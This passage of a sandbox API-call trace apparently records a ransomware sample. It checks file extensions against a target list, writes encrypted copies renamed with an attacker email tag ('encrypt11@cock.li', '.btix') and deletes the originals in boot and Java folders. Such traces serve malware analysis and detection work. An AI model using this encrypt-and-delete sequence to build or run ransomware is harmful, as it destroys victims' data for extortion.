(lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.050] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.050] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.050] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.050] lstrlenW (lpString=".doc") returned 4 [0147.050] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.050] lstrlenW (lpString=".docx") returned 5 [0147.050] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.050] lstrlenW (lpString=".pdf") returned 4 [0147.050] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.050] lstrlenW (lpString=".xls") returned 4 [0147.050] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.050] lstrlenW (lpString=".xlsx") returned 5 [0147.050] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.050] lstrlenW (lpString=".ppt") returned 4 [0147.050] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.051] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.051] lstrlenW (lpString=".zip") returned 4 [0147.051] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.051] lstrlenW (lpString=".rar") returned 4 [0147.051] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.051] lstrlenW (lpString=".bz2") returned 4 [0147.051] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.051] lstrlenW (lpString=".7z") returned 3 [0147.051] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.051] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.051] lstrlenW (lpString=".dbf") returned 4 [0147.051] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.051] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.051] lstrlenW (lpString=".1cd") returned 4 [0147.051] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.051] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.051] lstrlenW (lpString=".jpg") returned 4 [0147.051] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.051] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.051] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.051] lstrlenW (lpString=".doc") returned 4 [0147.051] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.051] lstrlenW (lpString=".docx") returned 5 [0147.051] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.051] lstrlenW (lpString=".pdf") returned 4 [0147.051] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.051] lstrlenW (lpString=".xls") returned 4 [0147.051] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.051] lstrlenW (lpString=".xlsx") returned 5 [0147.051] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.052] lstrlenW (lpString=".ppt") returned 4 [0147.052] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.052] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.052] lstrlenW (lpString=".zip") returned 4 [0147.052] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.052] lstrlenW (lpString=".rar") returned 4 [0147.052] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.052] lstrlenW (lpString=".bz2") returned 4 [0147.052] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.052] lstrlenW (lpString=".7z") returned 3 [0147.052] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.052] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.052] lstrlenW (lpString=".dbf") returned 4 [0147.052] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.052] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.052] lstrlenW (lpString=".1cd") returned 4 [0147.052] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.052] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0147.053] lstrlenW (lpString=".jpg") returned 4 [0147.053] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.053] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.053] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.053] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.053] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=74072) returned 1 [0147.053] CloseHandle (hObject=0x300) returned 1 [0147.053] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0147.053] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.053] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.053] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0147.053] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0147.054] lstrlenW (lpString=".doc") returned 4 [0147.054] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.054] lstrlenW (lpString=".docx") returned 5 [0147.054] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.054] lstrlenW (lpString=".pdf") returned 4 [0147.054] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.054] lstrlenW (lpString=".xls") returned 4 [0147.054] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.054] lstrlenW (lpString=".xlsx") returned 5 [0147.054] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.054] lstrlenW (lpString=".ppt") returned 4 [0147.054] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.054] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0147.054] lstrlenW (lpString=".zip") returned 4 [0147.054] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.054] lstrlenW (lpString=".rar") returned 4 [0147.054] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.054] lstrlenW (lpString=".bz2") returned 4 [0147.054] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.054] lstrlenW (lpString=".7z") returned 3 [0147.054] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.056] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.057] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.058] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.059] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.418] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.418] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0147.419] GetLastError () returned 0x0 [0147.419] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x1e240, lpOverlapped=0x0) returned 1 [0147.439] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x1e250, lpOverlapped=0x0) returned 1 [0147.442] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.442] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf0, lpOverlapped=0x0) returned 1 [0147.442] SetEndOfFile (hFile=0x370) returned 1 [0147.442] CloseHandle (hObject=0x370) returned 1 [0147.442] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.442] SetEndOfFile (hFile=0x36c) returned 1 [0147.446] CloseHandle (hObject=0x36c) returned 1 [0147.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.446] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1 [0147.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.447] lstrlenW (lpString=".doc") returned 4 [0147.447] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.447] lstrlenW (lpString=".docx") returned 5 [0147.447] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0147.447] lstrlenW (lpString=".pdf") returned 4 [0147.447] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.447] lstrlenW (lpString=".xls") returned 4 [0147.447] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.447] lstrlenW (lpString=".xlsx") returned 5 [0147.447] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0147.447] lstrlenW (lpString=".ppt") returned 4 [0147.447] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.447] lstrlenW (lpString=".zip") returned 4 [0147.447] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.447] lstrlenW (lpString=".rar") returned 4 [0147.447] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.447] lstrlenW (lpString=".bz2") returned 4 [0147.447] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.447] lstrlenW (lpString=".7z") returned 3 [0147.447] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.447] lstrlenW (lpString=".dbf") returned 4 [0147.448] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.448] lstrlenW (lpString=".1cd") returned 4 [0147.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.448] lstrlenW (lpString=".jpg") returned 4 [0147.448] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.448] lstrlenW (lpString=".doc") returned 4 [0147.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.448] lstrlenW (lpString=".docx") returned 5 [0147.448] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0147.448] lstrlenW (lpString=".pdf") returned 4 [0147.448] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.448] lstrlenW (lpString=".xls") returned 4 [0147.448] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.448] lstrlenW (lpString=".xlsx") returned 5 [0147.448] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0147.448] lstrlenW (lpString=".ppt") returned 4 [0147.448] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.448] lstrlenW (lpString=".zip") returned 4 [0147.448] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.449] lstrlenW (lpString=".rar") returned 4 [0147.449] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.449] lstrlenW (lpString=".bz2") returned 4 [0147.449] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.449] lstrlenW (lpString=".7z") returned 3 [0147.449] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.449] lstrlenW (lpString=".dbf") returned 4 [0147.449] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.449] lstrlenW (lpString=".1cd") returned 4 [0147.449] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0147.449] lstrlenW (lpString=".jpg") returned 4 [0147.449] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.449] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.449] lstrlenW (lpString="j2pcsc.dll") returned 10 [0147.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.450] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=19008) returned 1 [0147.450] CloseHandle (hObject=0x36c) returned 1 [0147.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0147.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.450] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.450] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.450] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.450] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0147.451] GetLastError () returned 0x0 [0147.451] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4a40, lpOverlapped=0x0) returned 1 [0147.483] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4a50, lpOverlapped=0x0) returned 1 [0147.484] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.484] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1 [0147.484] SetEndOfFile (hFile=0x370) returned 1 [0147.485] CloseHandle (hObject=0x370) returned 1 [0147.485] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.485] SetEndOfFile (hFile=0x36c) returned 1 [0147.485] CloseHandle (hObject=0x36c) returned 1 [0147.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.486] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1 [0147.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.486] lstrlenW (lpString=".doc") returned 4 [0147.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.486] lstrlenW (lpString=".docx") returned 5 [0147.486] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0147.486] lstrlenW (lpString=".pdf") returned 4 [0147.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.486] lstrlenW (lpString=".xls") returned 4 [0147.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.486] lstrlenW (lpString=".xlsx") returned 5 [0147.486] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0147.486] lstrlenW (lpString=".ppt") returned 4 [0147.486] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.486] lstrlenW (lpString=".zip") returned 4 [0147.486] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.486] lstrlenW (lpString=".rar") returned 4 [0147.486] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.486] lstrlenW (lpString=".bz2") returned 4 [0147.486] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.486] lstrlenW (lpString=".7z") returned 3 [0147.487] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.487] lstrlenW (lpString=".dbf") returned 4 [0147.487] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.487] lstrlenW (lpString=".1cd") returned 4 [0147.487] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.487] lstrlenW (lpString=".jpg") returned 4 [0147.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.487] lstrlenW (lpString=".doc") returned 4 [0147.487] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.487] lstrlenW (lpString=".docx") returned 5 [0147.487] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0147.487] lstrlenW (lpString=".pdf") returned 4 [0147.487] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.487] lstrlenW (lpString=".xls") returned 4 [0147.487] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.487] lstrlenW (lpString=".xlsx") returned 5 [0147.487] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0147.487] lstrlenW (lpString=".ppt") returned 4 [0147.487] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.487] lstrlenW (lpString=".zip") returned 4 [0147.487] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.487] lstrlenW (lpString=".rar") returned 4 [0147.487] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.488] lstrlenW (lpString=".bz2") returned 4 [0147.488] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.488] lstrlenW (lpString=".7z") returned 3 [0147.488] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.488] lstrlenW (lpString=".dbf") returned 4 [0147.488] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.488] lstrlenW (lpString=".1cd") returned 4 [0147.488] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0147.488] lstrlenW (lpString=".jpg") returned 4 [0147.488] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.488] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.488] lstrlenW (lpString="jaas_nt.dll") returned 11 [0147.488] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.488] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=21056) returned 1 [0147.488] CloseHandle (hObject=0x36c) returned 1 [0147.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0147.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.489] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.489] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0147.489] GetLastError () returned 0x0 [0147.490] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x5240, lpOverlapped=0x0) returned 1 [0147.512] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x5250, lpOverlapped=0x0) returned 1 [0147.811] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, 